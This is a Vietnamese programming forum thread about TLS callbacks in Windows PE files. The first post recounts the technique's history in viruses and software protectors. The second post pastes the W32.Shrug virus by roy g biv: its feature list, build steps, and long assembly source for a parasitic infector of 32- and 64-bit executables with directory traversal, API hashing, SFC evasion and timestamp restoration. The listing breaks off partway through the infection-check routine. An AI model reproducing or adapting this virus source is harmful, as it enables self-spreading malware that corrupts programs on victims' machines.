Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Kết quả 1 đến 2 của 2

Chủ đề: TLS Callback in VC++

  1. #1
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    TLS Callback in VC++

    Kỹ thuật này được các tay viết virus và các nhà phát triển phần mềm protector ứng dụng tối đa. Nó xuất hiện lần đầu tiên trong một bài viết của roy g biv nhóm 29a rất nổi tiếng vào khoảng năm 2003. Hiện nay lão ta đã 31 tuổi, và đang playing trong EOF team. Trong bài viết này roy g biv có public source code của con virus có tên là W32.Shrug. Sau đó không lâu kỹ thuật này được các tay viết virus “đưa vào thực tế” gây ảnh hưởng xấu cho cộng đồng. Đó là mặt trái của TLS Callback.

    Một ứng dụng có ích của nó đã được các protecter áp dụng rất hiệu quả. Nó được ứng dụng trong protector rất nổi tiếng ExeCrytor để chống lại các cr*cker. Nhưng không bao lâu các cr*cker đã đánh bại nó. Một trong số đó là deroko bên ARTeam. Vào tiếp theo là hàng loạt tool, tut về kỹ thuật này.

    Vào năm 2008, lúc tôi mới vào chơi trong 4rum vnvirus, lúc đó tôi hoàn toàn chưa biết kỹ thuật này đã “đưa vào thực tế” trong lĩnh vực virus. Do đó tôi có coding thử một virus và đã pulbic demo cho anh em nghiên cứu. Ít lâu sau NhatPhuongLe cũng có viết một bài về đề tài này. Nhưng chỉ dừng lại ở bypass khi cr*cking. Một số bạn có hỏi tôi về kỹ thuật này khi biên dịch trong VC++. Nhưng lúc đó tôi chỉ coding trong tasm32 nên không quan tâm đến câu hỏi. Hôm nay tôi sẽ trình bày tương đối cho các bạn khi lập trình TLS Callback trong VC++.

  2. #2
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    con virus đó đây à ?

    some of its features:
    - parasitic direct action infector of PE exe/dll (but not looking at suffix)
    - infects files in current directory and all subdirectories
    - infects both IA32 and AMD64 files
    - directory traversal is linked-list instead of recursive to reduce stack size
    - reloc section inserter/last section appender
    - EPO (TLS infection)
    - code executes after ExitProcess() is called
    - uses CRCs instead of API names
    - uses SEH for common code exit
    - no infect files with data outside of image (eg self-extractors)
    - no infect files protected by SFC (including under Windows XP/2003)
    - infected files are padded by random amounts to confuse tail scanners
    - uses SEH walker to find kernel address (no hard-coded addresses)
    - correct file checksum without using imagehlp.dll [IMG]images/smilies/smile.png[/IMG] 100% correct algorithm
    ---

     optimisation tip: Windows appends ".dll" automatically, so this works:
        push "cfs"
        push esp
        call LoadLibraryA
    ---

    to build this thing:
    tasm
    ----
    tasm32 /ml /m3 shrug
    tlink32 /B:400000 /x shrug,,,import32

    1. build shrug.asm in link_only mode
    2. run it to retrieve code size
    3. define code size here
    4. build shrug64.asm
    5. run it to create shrug64.dmp
    6. build shrug.asm in not link_only mode

    Virus is not self-modifying, so no need to alter section attributes
    ---

    We"re in the middle of a phase transition:
    a butterfly flapping its wings at
    just the right moment could
    cause a storm to happen.
    -I"m trying to understand-
    I"m at a moment in my life-
    I don"t know where to flap my wings.
    (Danny Hillis)

    (;
    Mã:
    .586
    .mmx
    .model flat
    
    extern MessageBoxA:proc
    extern ExitProcess:proc
    
    .data
    include shrug.inc
    
    ;to link the two codes, set link_only to not-zero then run
    ;in that case, the code size is calculated only
    
    link_only    equ   0
    
    dropper     label  near
    
    if link_only
    
        xor   ebx, ebx
        push  ebx
        push  ebx
        push  ebx
        mov   edx, offset shrug_codeend - offset shrug_tlscode1
        mov   edi, esp
        call  hex2asc
        mov   eax, esp
        push  ebx
        push  offset txttitle
        push  eax
        push  ebx
        call  MessageBoxA
        push  ebx
        call  ExitProcess
    
    hex2asc     proc  near
        call  dd2asc
    
    dd2asc     proc  near
        call  dw2asc
    
    dw2asc     proc  near
        shld  eax, edx, 8
        shl   edx, 8
        aam   10h
        call  db2asc
    
    db2asc     proc  near
        xchg  ah, al
        cmp   al, 0ah
        sbb   al, 69h
        das
        stos  byte ptr [edi]
        ret
    db2asc     endp
    dw2asc     endp
    dd2asc     endp
    hex2asc     endp
    
    endif
    
        mov   edx, krncrc_count
        mov   ebx, offset krnnames
        mov   edi, offset krncrcbegin
        call  create_crcs
        mov   edx, 1
        mov   ebx, offset sfcnames
        mov   edi, offset sfccrcbegin
        call  create_crcs
        push  edx               ;fake Reserved
        push  edx               ;fake Reason
        push  edx               ;fake DLLHandle
        push  edx               ;fake return address
    ;-----------------------------------------------------------------------------
    ;everything before this point is dropper code
    ;-----------------------------------------------------------------------------
    
    ;-----------------------------------------------------------------------------
    ;virus code begins here in existing TLS callback pointer
    ;-----------------------------------------------------------------------------
    
    shrug_tlscode1 proc  near
        mov   eax, dword ptr [esp + initstk.initReason]
        push  eax               ;fake Reserved
        push  eax               ;real Reason
        push  eax               ;fake DLLHandle
        call  host_patch           ;real return address
    
    tlsdata     tlsstruc64 <0>         ;label required for delta offset
    
    ;-----------------------------------------------------------------------------
    ;moved label after some data because "e800000000" looks like virus code ;)
    ;and it"s not used for delta offset calculation, but for original entry point
    ;-----------------------------------------------------------------------------
    
    host_patch   label  near
        add   dword ptr [esp], offset do_message - offset tlsdata
                            ;replaced dynamically
    
    ;-----------------------------------------------------------------------------
    ;virus code begins here in created TLS directory / callback pointer
    ;-----------------------------------------------------------------------------
    
    shrug_tlscode2 proc  near          ;stack = DllHandle, Reason, Reserved
        test  byte ptr [esp + initstk.initReason], DLL_PROCESS_ATTACH or DLL_THREAD_ATTACH
        jne   shrug_dllret          ;kernel32 not in SEH chain on ATTACH messages
        pushad
        call  shrug_common
        pop   eax
        pop   eax
        pop   esp
        xor   eax, eax
        pop   dword ptr fs:[eax]
        pop   eax
        popad
    
    shrug_dllret  label  near
        ret   0ch
    
    ;-----------------------------------------------------------------------------
    ;main virus body. everything happens in here
    ;-----------------------------------------------------------------------------
    
    shrug_common  proc  near
        xor   esi, esi
        lods  dword ptr fs:[esi]
        push  eax
        mov   dword ptr fs:[esi - 4], esp
        inc   eax
    
    walk_seh    label  near
        dec   eax
        xchg  esi, eax
        lods  dword ptr [esi]
        inc   eax
        jne   walk_seh
        enter  (size findlist - 5) and -4, 0  ;Windows NT/2000/XP enables alignment check exception
                            ;so some APIs fail if buffer is not dword aligned
                            ;-5 to align at 2 dwords earlier
                            ;because EBP saved automatically
                            ;and other register saved next
        push  eax               ;zero findprev in findlist
        lods  dword ptr [esi]
        call  init_findmz
    
    ;-----------------------------------------------------------------------------
    ;API CRC table, null terminated
    ;-----------------------------------------------------------------------------
    
    krncrcbegin   label  near          ;place < 80h bytes from call for smaller code
        dd   (krncrc_count + 1) dup (0)
    krncrcend    label  near
        dd   offset check_sfc - offset krncrcend + 4
        db   "Shrug - roy g biv"       ;your guess is as good as mine
    
    init_findmz   label  near
        inc   eax
        xchg  edi, eax
    
    find_mzhdr   label  near
    
    ;-----------------------------------------------------------------------------
    ;do not use hard-coded kernel address values because it is not portable
    ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
    ;they will maybe change again for every new release
    ;-----------------------------------------------------------------------------
    
        dec   edi               ;sub 64kb
        xor   di, di             ;64kb align
        call  is_pehdr
        jne   find_mzhdr
        mov   ebx, edi
        pop   edi
    
    ;-----------------------------------------------------------------------------
    ;parse export table
    ;-----------------------------------------------------------------------------
    
        mov   esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
        lea   esi, dword ptr [ebx + esi + peexp.expadrrva]
        lods  dword ptr [esi]         ;Export Address Table RVA
        lea   edx, dword ptr [ebx + eax]
        lods  dword ptr [esi]         ;Name Pointer Table RVA
        lea   ecx, dword ptr [ebx + eax]
        lods  dword ptr [esi]         ;Ordinal Table RVA
        lea   ebp, dword ptr [ebx + eax]
        mov   esi, ecx
    
    push_export   label  near
        push  ecx
    
    get_export   label  near
        lods  dword ptr [esi]
        push  ebx
        add   ebx, eax            ;Name Pointer VA
        or   eax, -1
    
    crc_outer    label  near
        xor   al, byte ptr [ebx]
        push  8
        pop   ecx
    
    crc_inner    label  near
        add   eax, eax
        jnb   crc_skip
        xor   eax, 4c11db7h          ;use generator polymonial (see IEEE 802)
    
    crc_skip    label  near
        loop  crc_inner
        sub   cl, byte ptr [ebx]       ;carry set if not zero
        inc   ebx               ;carry not altered by inc
        jb   crc_outer
        pop   ebx
        cmp   dword ptr [edi], eax
        jne   get_export
    
    ;-----------------------------------------------------------------------------
    ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
    ;this allows to push addresses onto the stack, and the order is known
    ;-----------------------------------------------------------------------------
    
        pop   ecx
        mov   eax, esi
        sub   eax, ecx            ;Name Pointer Table VA
        shr   eax, 1
        movzx  eax, word ptr [ebp + eax - 2]  ;get export ordinal
        mov   eax, dword ptr [eax * 4 + edx] ;get export RVA
        add   eax, ebx
        push  eax
        scas  dword ptr [edi]
        cmp   dword ptr [edi], 0
        jne   push_export
        add   edi, dword ptr [edi + 4]
        jmp   edi
    
    ;-----------------------------------------------------------------------------
    ;get SFC support if available
    ;-----------------------------------------------------------------------------
    
    check_sfc    label  near
        call  load_sfc
        db   "sfc_os", 0           ;Windows XP (forwarder chain from sfc.dll)
    
    load_sfc    label  near
        call  dword ptr [esp + krncrcstk.kLoadLibraryA]
        test  eax, eax
        jne   found_sfc
        push  "cfs"              ;Windows Me/2000
        push  esp
        call  dword ptr [esp + 4 + krncrcstk.kLoadLibraryA]
        pop   ecx
        test  eax, eax
        je   sfcapi_push
    
    found_sfc    label  near
        call  init_findmz
    
    ;-----------------------------------------------------------------------------
    ;API CRC table, null terminated
    ;-----------------------------------------------------------------------------
    
    sfccrcbegin   label  near          ;place < 80h bytes from call for smaller code
        dd   0, 0
    sfccrcend    label  near
        dd   offset scan_dirinit - offset sfccrcend + 4
    
    sfcapi_push   label  near
        push  eax
    
    scan_dirinit  label  near
        mov   ebp, esp
        lea   esi, dword ptr [ebp + size krncrcstk]
    
    ;-----------------------------------------------------------------------------
    ;non-recursive directory traverser
    ;-----------------------------------------------------------------------------
    
    scan_dir    proc  near          ;ebp -> platform APIs, esi -> findlist
        push  "*"               ;ANSI-compatible Unicode findmask
        mov   eax, esp
        lea   ebx, dword ptr [esi + findlist.finddata]
        push  ebx
        push  eax
        call  dword ptr [ebp + krncrcstk.kFindFirstFileW]
        pop   ecx
        mov   dword ptr [esi + findlist.findhand], eax
        inc   eax
        je   find_prev
    
        ;you must always step forward from where you stand
    
    test_dirfile  label  near
        mov   eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
        lea   edi, dword ptr [esi + findlist.finddata.cFileName]
        test  al, FILE_ATTRIBUTE_DIRECTORY
        je   test_file
        cmp   byte ptr [edi], "."       ;ignore . and .. (but also .* directories under NT/2000/XP)
        je   find_next
    
    ;-----------------------------------------------------------------------------
    ;enter subdirectory, and allocate another list node
    ;-----------------------------------------------------------------------------
    
        push  edi
        call  dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
        xchg  ecx, eax
        jecxz  find_next
        push  size findlist
        push  GMEM_FIXED
        call  dword ptr [ebp + krncrcstk.kGlobalAlloc]
        xchg  ecx, eax
        jecxz  step_updir
        xchg  esi, ecx
        mov   dword ptr [esi + findlist.findprev], ecx
        jmp   scan_dir
    
    find_next    label  near
        lea   ebx, dword ptr [esi + findlist.finddata]
        push  ebx
        mov   edi, dword ptr [esi + findlist.findhand]
        push  edi
        call  dword ptr [ebp + krncrcstk.kFindNextFileW]
        test  eax, eax
        jne   test_dirfile
    
    ;-----------------------------------------------------------------------------
    ;close find, and free list node if not list head
    ;-----------------------------------------------------------------------------
    
        push  edi
        call  dword ptr [ebp + krncrcstk.kFindClose]
    
    find_prev    label  near
        mov   ecx, dword ptr [esi + findlist.findprev]
        jecxz  shrug_exit
        push  esi
        mov   esi, ecx
        call  dword ptr [ebp + krncrcstk.kGlobalFree]
    
    step_updir   label  near
    
    ;-----------------------------------------------------------------------------
    ;the ANSI string ".." can be used, even on Unicode platforms
    ;-----------------------------------------------------------------------------
    
        push  ".."
        org   $ - 1              ;select top 8 bits of push
    shrug_exit   label  near
        int   3                ;game over
    
        push  esp
        call  dword ptr [ebp + krncrcstk.kSetCurrentDirectoryA]
        pop   eax
        jmp   find_next
    
    test_file    label  near
    
    ;-----------------------------------------------------------------------------
    ;get full path
    ;-----------------------------------------------------------------------------
    
        push  eax               ;save original file attributes for close
        enter  MAX_PATH * 2, 0
        mov   ecx, esp
        push  eax
        push  esp
        push  ecx
        push  MAX_PATH
        push  edi
        call  dword ptr [ebp + 8 + krncrcstk.kGetFullPathNameW]
        xchg  edi, eax
        pop   eax
        xor   ebx, ebx
    
    ;-----------------------------------------------------------------------------
    ;don"t touch protected files
    ;-----------------------------------------------------------------------------
    
        mov   ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected]
        xor   eax, eax            ;fake success in case of no SFC
        jecxz  leave_sfc
        push  esp
        push  ebx
        call  ecx
    
    leave_sfc    label  near
        leave
        test  eax, eax
        jne   restore_attr
        call  set_fileattr
        push  ebx
        push  ebx
        push  OPEN_EXISTING
        push  ebx
        push  ebx
        push  GENERIC_READ or GENERIC_WRITE
        push  edi
        call  dword ptr [ebp + krncrcstk.kCreateFileW]
        xchg  ebx, eax
        call  test_infect
        db   81h               ;mask CALL
        call  infect_file           ;Super Nashwan power ;)
        lea   eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
        push  eax
        sub   eax, 8
        push  eax
        push  0
        push  ebx
        call  dword ptr [ebp + krncrcstk.kSetFileTime]
        push  ebx
        call  dword ptr [ebp + krncrcstk.kCloseHandle]
    
    restore_attr  label  near
        pop   ebx               ;restore original file attributes
        call  set_fileattr
        jmp   find_next
    scan_dir    endp
    
    ;-----------------------------------------------------------------------------
    ;look for MZ and PE file signatures
    ;-----------------------------------------------------------------------------
    
    is_pehdr    proc  near          ;edi -> map view
        cmp   word ptr [edi], "ZM"      ;Windows does not check "MZ"
        jne   pehdr_ret
        mov   esi, dword ptr [edi + mzhdr.mzlfanew]
        add   esi, edi
        lods  dword ptr [esi]         ;SEH protects against bad lfanew value
        add   eax, -"EP"           ;anti-heuristic test filetype ;) and clear EAX
    
    pehdr_ret    label  near
        ret                   ;if PE file, then eax = 0, esi -> COFF header, Z flag set
    is_pehdr    endp
    
    ;-----------------------------------------------------------------------------
    ;reset/set read-only file attribute
    ;-----------------------------------------------------------------------------
    
    set_fileattr  proc  near          ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
        push  ebx
        lea   edi, dword ptr [esi + findlist.finddata.cFileName]
        push  edi
        call  dword ptr [ebp + krncrcstk.kSetFileAttributesW]
        ret                   ;edi -> filename
        db   "31/10/04"           ;Halloween, your nightmare comes true
    set_fileattr  endp
    
    ;-----------------------------------------------------------------------------
    ;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
    ;-----------------------------------------------------------------------------
    
    test_infect   proc  near          ;ebx = file handle, esi = findlist, ebp -> platform APIs
        call  map_view
        mov   ebp, esi
        call  is_pehdr
        jne   inftest_ret
        lods  dword ptr [esi]
        sub   ax, IMAGE_FILE_MACHINE_I386
        je   inftest_ia32          ;only Intel 386+
        cmp   ax, IMAGE_FILE_MACHINE_AMD64 - IMAGE_FILE_MACHINE_I386
        jne   inftest_ret           ;only AMD x86-64
        mov   ax, 4              ;not al, must clear some ah bits
    
    inftest_ia32  label  near
        movzx  edi, al
        shr   eax, 0dh            ;move high 16 bits into low 16 bits and multiply by 8
        lea   edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
        mov   ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
    
    ;-----------------------------------------------------------------------------
    ;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
    ;32-bit executable file if Intel, only executable file if AMD
    ;-----------------------------------------------------------------------------
    
        test  ch, IMAGE_FILE_32BIT_MACHINE shr 8
        jne   inftest_flags
        test  di, di
        je   inftest_ret
    
    inftest_flags  label  near
        and   cx, IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY or IMAGE_FILE_EXECUTABLE_IMAGE
        dec   ecx
        loopw  inftest_ret
        add   esi, pehdr.pesubsys - pehdr.pecoff.petimedate
    
    ;-----------------------------------------------------------------------------
    ;the COFF magic value is not checked because Windows ignores it anyway
    ;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
    ;-----------------------------------------------------------------------------
    
        lods  dword ptr [esi]
        cmp   ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
        jnbe  inftest_ret
        cmp   al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
        jb   inftest_ret
        shr   eax, 1eh            ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
        jb   inftest_ret
    
    ;-----------------------------------------------------------------------------
    ;avoid files which seem to contain attribute certificates
    ;because one of those certificates might be a digital signature
    ;-----------------------------------------------------------------------------

 

 

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •